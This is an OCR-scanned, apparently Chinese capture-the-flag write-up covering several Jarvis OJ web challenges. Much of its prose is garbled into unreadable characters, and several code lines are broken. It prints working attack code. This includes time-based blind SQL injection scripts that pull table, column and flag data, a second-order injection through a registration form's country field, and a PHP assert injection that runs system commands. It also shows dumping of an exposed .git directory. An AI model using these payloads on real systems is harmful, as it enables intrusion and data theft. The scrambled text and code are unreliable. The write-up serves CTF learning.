169, 73, 125, 114, 6, 142, 162, 228, 157, 1608, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37,
190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98],
[199, 48, 58, 221, 162, 57, 111, 78, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204,
155, 141], [212, 83, 219, 55, 132, 5, 153, 11, @, 89, 134, 201, 255, 101, 22, 98, 215, 139, @, 78, 165, O,
126, 48, 119], [194, 156, 1@, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 1@, 238, 74, 76, 66, 80, 31,
73, 1o, 180, 45, 94], [11e, 231, 82, 188, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30,
235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 167, 172,
148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [19@, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224,
237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41,
174, 146, 78, 235, 202, 200, 99, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256,
69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33,
39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, @, 135, 119], [192, 206, 73, 92, 174,
130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252,
202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154,
98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55,
214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 185, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219,
89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, @, 47, 212, 187, 111, 97, 153, 119, 85, 147,
256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215,
204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112,
217, 194, 114, 221, 150, 51, 136, 31, 198]])

result = linalg.solve(o,r)

for i in range(len(result)):
print chr(int(round(result[i]))),

R Aresult[i|f1 45 B 2w /AN EE, AUESFARE, 282 /F4ER, FrilAroundlU&HA

0x15 [61dctfladmin:

H—THZ, KIWArobots.txt

& G ® @ webjarvisoj.com:

q ATFABEE Googl. PEE—T, FHSHE ¢ BE|EIE  siidou

Disallow: /admin s3cr3t. php



Pz 30, 33 cookied jadmin 4B M 02 N1

0) Geckar20100101 Fiefou5 0
imagefusbp 7" =08
820 TW.q=0.7 2hHK.g-0.5 n-US =03 an g-0.2

2,418 (Unb) OpenSSLI1 020 PHPS 5.21 mod_perl2 0.8-dev Peihé 163
PHRS621

flagfhello_admin-)

0x16 [61dctf]inject
RRNGRINVEN, HERRAH M, XEBRindexphp~, ;W& EIRSEIA]

C @ @ view-source:http://web jarvisoj.com:32794/index.php~

& s%cEAEE Googl.. [ EE—TF, (RMHE § &3 |EIE  siidou - BEE

<?php

require ("config. php”) ;

$table = § GET[ table’]?$ GET[ table’]:"test”;

$table = Filter ($table) ;

mysqli_query ($mysqli, “desc “secret {$table} ”) or Hacker():
$sql = “select 'flag{xxx]  from secret {§table}”;

$ret = sql_query($sql) ;

echo $ret(0];

2>

XEH T 24 selectigf), H—AFdesckRiFITEH, descEMMKIAN

desc “tablel” "table2”

REHE—/Mablel, HETHIREE

4
5 desc ‘admid‘ XX
€
<

X Field Type Null Key Default  Extra
NULL>

T LLIX 1 [ payload B Bt Hid 2

test™ °

BTk A EN S —ANEWIEBATEAR AT
EREEERFSHI RN EFR, HELEASHWsqiEUKIERME, AMMWAT

4
5 select * from admin ° ° union select 1,2,3
[
[+
X 1d name email
zhangsan <NULL>
2 lisi <NULL>
- S B | LN L T

HMass LA (F T writeup KA LR EHEARI A limit 1, 1R BR %8 =47 , RXBEHAREREAN



import requests

s = requests.Session()

url = "http://web.jarvisoj.com:32794/index.php?table=test’
length = @

flag = ""

for i in range(0,100):
#payload = "union select (if(length((select database()))=" + str(i) + ",sleep(5),0)) #"
#payload = "union select (if(length((select group_concat(table_name) from information_schema.tables
where table_schema=database()))=" + str(i) + ",sleep(5),0)) #"
#payload = "union select (if(length((select group_concat(column_name) from information_schema.columns
where table_name=0x7365637265745f666c6167))=" + str(i) + ",sleep(5),0)) #"
payload = "union select (if(length((select group_concat(flaguwillneverknow) from secret_flag))=" +
str(i) + ",sleep(5),0)) #"
r = s.get(url + payload)
if r.elapsed.total_seconds() > 5:
print "length is" + str(i);
length = i
break
else:
#print payload
print r.elapsed.total_seconds()

for i in range(1, length + 1):
print i
for j in 'abcdefghijklmnopqrstuvwxyz1234567890-=!@#$%"&*()_+[1;\",./{}:"<>2\\|~":
#payload = "union select (if((substr((select database())," + str(i) + ",1)=" + hex(ord(str(j))) + ")
,sleep(5),0)) #"

#payload = "union select (if((substr((select group_concat(table_name) from information_schema.tables
where table_schema=database())," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
#payload = "union select (if((substr((select group_concat(column_name) from

information_schema.columns where table_name=0x7365637265745f666c6167)," + str(i) + ",1)=" + hex(ord(str(j)))
+ ") ,sleep(5),0)) #"
payload = "union select (if((substr((select group_concat(flaguwillneverknow) from secret_flag)," +
str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
r = s.get(url + payload)
if r.elapsed.total_seconds() > 5:
flag += str(j)
print "flag is

+ flag
break
else:
#print payload
print r.elapsed.total_seconds()

#database: 61d300
#table: secret_flag,secret_test
#column: flaguwillneverknow

jidou‘\Deskto



0x17 [61dctf]register
BE AR ZIREN, HEA R Zcountry
SeH—TF BRRI T M T Hregister.phpFiwaf i [ hacker.php

$HEIEE: http://web. jarvisoj. con 32796 tongji/ FHEERE: 10 $3ERE: 1504
e ik HKITPURIRE
\ttp: //wel v com: 32796/ 0

oW

B e B2 R 2 5\ i payload A1' or '1'="1

country=1"or "1'="1&username=sijidoul aé&password=1238&address=123

# 2 ERA country I TUHE, 7Ei%E4E T A country =B IN &

http://web.jarvisoj.com:32796/index.php?page=info

EANZRRPELT? ?

Country & Address & Date

Country: \ n=\1 Address: T

JETHE T writtup RELRAEAN R, (ERHTH 7 BOVE BFIRHR S — N3 X
TRIENBAIWT S AEDateix M Ty, i SR IER 2k B 28T AL ], A0SR AR R IR [B] 55— i [E]
¥ B B SRR B Ecountry T N AR IR FIHK K, WREAKIEAE B K &gl
waffR £ bt ininformation_schematfid#i€ T, password#fiid 855

B JE MR8 B\ writeup /B A5 M fE fEusers®, I HEIREUE B B adminf 3519 & 3¢

{H R password 2 #id 3 T I, Fr AT group_concat(password)sRIRERFZ B, HEW A assRikBIAFE
passwordtt BEIREN A A ) Fik, X B ITE AL B R WA T E A St

aaman - c (oows
4 select group_concat(a) from (select L as a, 3 hnlon select = from user) as b

5

<

= group_concat(..

2.admin

o FITiect - & am. L LLILL GNUUE LUNLAL (@) DX
4 select group_con t( ] from (sel ct J. 3 ﬂum.:m se. l ct ¥ Ero'm user) as b
S
<

X group_concat(

3123

R AT, payloadi&KE RS T H, REERI(1,1,000FRETEN, BREAKTHEW T, 2ETH
ascii( )=k EKE ast A kKE, Bl 2asa=>2'a’

TR H users B iZH 5 F B
&5 fpayload i

' or ascii(substr((select group_concat(a) from(select 1,2,3'a’,4,5 union select * from users)'b),1,1))>0x19#



RXBEHHT, RMpayloadCERWR T, WEBKRSEEN, REB CSHBARMERE, ERBFE10NF
FMABEET, FHFFEMRT T, EA10Z240FFRF, substr(1,10,1)tsubstr(1,1,1)2 —ANZR/FIE, SR 5T
RIGHH#ABY T, SBZEERAERY, TREM TANTK]A BEER

XIEBA BRI, RIERZB K Elogout, &K 1B A 2 M Bk CookieH HiphpsessidkiA F| & i i & %

Content-Length: 57

Connection: close

Cookie: UM_distinctid=167a57291379-0c4feB68dBf0d-4c 31267 e-144000-167 25729133186, PHPSESSID=55092mh38h5hEj014elgjsmvi0
Upgrade-Insecure-Requests: 1

country="or ascii(substr({select group_concat(a) from(select 1.2 3°a” 4,5 union select * from users)'b’), 1 1))=0x19 “r" j b 123 &add| =123

RIUES R R B (8] 1, FF BEE—AY, FERARE REE,,,

Address: 7123

TR E &5 Kpayload, FHiwriteupH)ITE AR — 0%, RIX B T@ENREE, 8F ZMERARTUE
http://mitah.cn/index.php/archives/8/

ix B A R Fllogouti £, B LLIErequests.session()E B R EAEIF A, XA A LA FHlogout t B8 s 2%
phpsessid

REIBEA, B R password— i & 3241 111633 Hilhash, 3+ H A group_concat& B, SkE& T, HALKIFF S RAZHA
WET


http://mitah.cn/index.php/archives/8/

import requests

url_index = "http://web.jarvisoj.com:32796/index.php"
url_register = "http://web.jarvisoj.com:32796/register.php"
url_login = "http://web.jarvisoj.com:32796/login.php"

url_info = "http://web.jarvisoj.com:32796/index.php?page=info"

flag = ""
num = ©
for i in range(1,1000):
print i
for j in "abcdef1234567890,":
payload = "' or ascii(substr((select group_concat(a) from(select 1,2,3"a ,4,5 union select * from
users) b’ )," + str(i) + ",1))=" + hex(ord(str(j))) + "#"
data_register = {'country' : payload, 'username' : 'sijidoul' + str(num), 'password' : '123',
'address' : '123'}
data_login = {'username' : 'sijidoul' + str(num), ‘'password' : '123'}

num = num + 1

s = requests.Session()

s.get(url_index)

s.post(url_register, data=data_register)
s.post(url_login, data=data_login)

r = s.get(url_info)

if "<em>2019-03-22 14" in r.text:
flag = flag + str(j);
+ flag

print "flag is
break

#else:
#print payload

if "<em>2019-03-22 14"XAF& H © A0 T+ E AL [E RE 2 H 3
B JE R REEANFIRE T admini) & i5hash 9a73fd18fedd9643357ffe20b9d974e4f#H4 2 CleverBoy

8fedd96433:

8fedd9643

Fladmin® 3% J5 kBt flag

@ Dashboard

© Userinfo

Show everything

[l Manage
show configure

26,149

flag{URst0rong}

318,651




0x18 [61dctflbabyphp

fEabout T A HL T &e8R7R, vt/ gittsef it EE

About

i) L RORH R S 7 i MRl

FlgArE R 7 I AR
« PHP
. GIT

« Bootstrap

MR T FRAEAE.gitHF, RFEHGitHack :  https://github.conVBugScanTeam/GitHack

C ® & webjarvisoj.com:32798/.git/

M AT AEE Googl. B EE—F, AGUDE § HE|EER  siidou - e

Access forbidden!

You don't have permission to access the requested directory. There is el

If you think this is a server error, please contact the webmaster.

Error 403

web.jarvisoj.com
Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod _perl/2.0.8-dev Perl/v5.16.3

python GitHack.py http://web.jarvisoj.com:32798/.git/

WEHTH TR, WETT, templates EMHARZHTMLIEWR, A Mflag.php2s, B2 E H 2 ERBUE H ik
% %% F #iflag.php 25

& F E [ J7 Zindex. phpiphp RS &4

=?php
24if (isset($ _GET| 1) {
' $page = $_GET] 1:
_$p..=.<_1e =

. $page . -
tfile ) or die(
$file ) or die(

BAEH T assertiX AN MIBHAT I B, JaTE Hfile_exists)RT AR, Mstrpos\NF, FEANBETE, iF
a] LA

H oA T, R Bphpstte  and Al | R#ATEL HKM 4


https://github.com/BugScanTeam/GitHack

<?php
$a = $_GET['a'];
$b = "templates/" . $a . ".php";
//assert("strpos('$b','..") == false ") or die("wrong");
//input: ','..") === false and system(\"dir\") and strpos("’

//assert("strpos('templates/ ',"'..") === false and system(\"dir\") and strpos(' .php','.."') === false ")
or die("wrong");

//input: ','..") === false | system(\"dir\") | strpos('

assert("strpos('templates/ ','..') === false | system(\"dir\") | strpos(' .php','..') === false ") or
die("wrong");

?>

XBEARREF— strpostIHE, FE ASfileR iR, BAIERE K&K strpos system strpos =A%, 1
systemzh i LA R #4785 4 T

% payload

http://web.jarvisoj.com:32798/index.php?page=","'.."') === false | system("cat templates/flag.php") | strpos("

REEBERIRNY, flagrfEIRg Eim

C 0 @ view p//web 98/indexphp? false | system(*cat templates/flag.php®) | strpos(|

& 5ZFAEE Googl.. [BEE—T, 4OUNE § BR &% ug .. SRR K] -SERER. o

T0D0
//$FLAG = ’61dctf {8e_careful when_uslng assdrt)’;
2

//$FLAG =’ 61dctf (8e_careful_when_using ass4rt)’ ;
2

That file doesn’t exist!

0x19 babyxss
B et 2R {EBRERIEER, %5 Afwriteups T —A

import random
import hashlib
import string

string = "abcdefghijklmnopqgrstuvwxyz1234567890"

while True:
text = random.sample(string,4)
code = ""
text = code.join(text)
code = hashlib.md5(text).hexdigest()
if code[@:4] == 'c8bb':
print "----------cmmmee oo
print text
print code
break
else:

print code

JaH XSS T, FEAHCcspk, ZLMREI T BN BIR, JavaScripth) SRS AUE [FEVRR, BiRExss—K
payload#T 4 cookie



J Raw | Params ‘ Headers ‘ Hex |

J Raw ‘ Headers ‘ Hex ‘ HTML ‘ Render

[BET/HTTR/

Host: web janisoj com 32800

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; xB4; rvE5.0) Gecko/20100101
Firefox/B5.0

Accept: text/himl I, mlg=09, gE08
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0 7 zh-HIK =0 5 2n-US; q=0.3 en; =0 2
Accept-Encading: gzip, deflate

Connection: close

Cookie:

U _e 167 a57291379-01 ff0d-4c312e7e-144000-167 25729139166,
PHPSESSID=5dpfal8g1 12019a=fh3ajdod

Upgrade-Insecure-Requests: 1

M EE T RA#E K cspgeid KTk

CSP%eid B 45

X EMTHR A <link>Pr2E Rk Bxss, EHBAE, ERABHRMRMADSRT), RAMERNE 72407,

EH AR E>_<

Oxff4s g

a

HTTP/1.1 200 OK

Date: Fri, 22 Mar 2019 07:15:51 GMT

Semver: Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/S 6.21 mod_perl2.0.8-dev PerAS.16.3
-Powsred-By: PHPIS.6 21

Content-Security-Policy: dsfault-src ‘sslf, script-src 'sslf

Expires: Thu, 19 Nov 1981 08:562:00 GMT

Cache-Contral: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 1751

Connection: close

Content-Type: text/himl; charset=UTF-8

5% F & B Bt F S 1R £ A S i web s 25 1 M writeup,  FIFRLewriteupAi Lk, B H LW %23333. H
RELRLEFDL% P EHCBIKNBRMNEEMME T T, HERMREHD.

¥4, F :https://www.cnblogs.conmvsijidou/p/10573275.html


https://mp.weixin.qq.com/s?__biz=MzU1MzE3Njg2Mw==&mid=2247484861&idx=1&sn=8edcacdf05a4598a5515ecff21a6b0f4&chksm=fbf79fcdcc8016dbdca8a82b305e006f9ceb6c418f21fc43c5546257285a741356f8c0cb6c3d&mpshare=1&scene=23&srcid=0309dM3wJyoBacRyDSYQhg2X#rd
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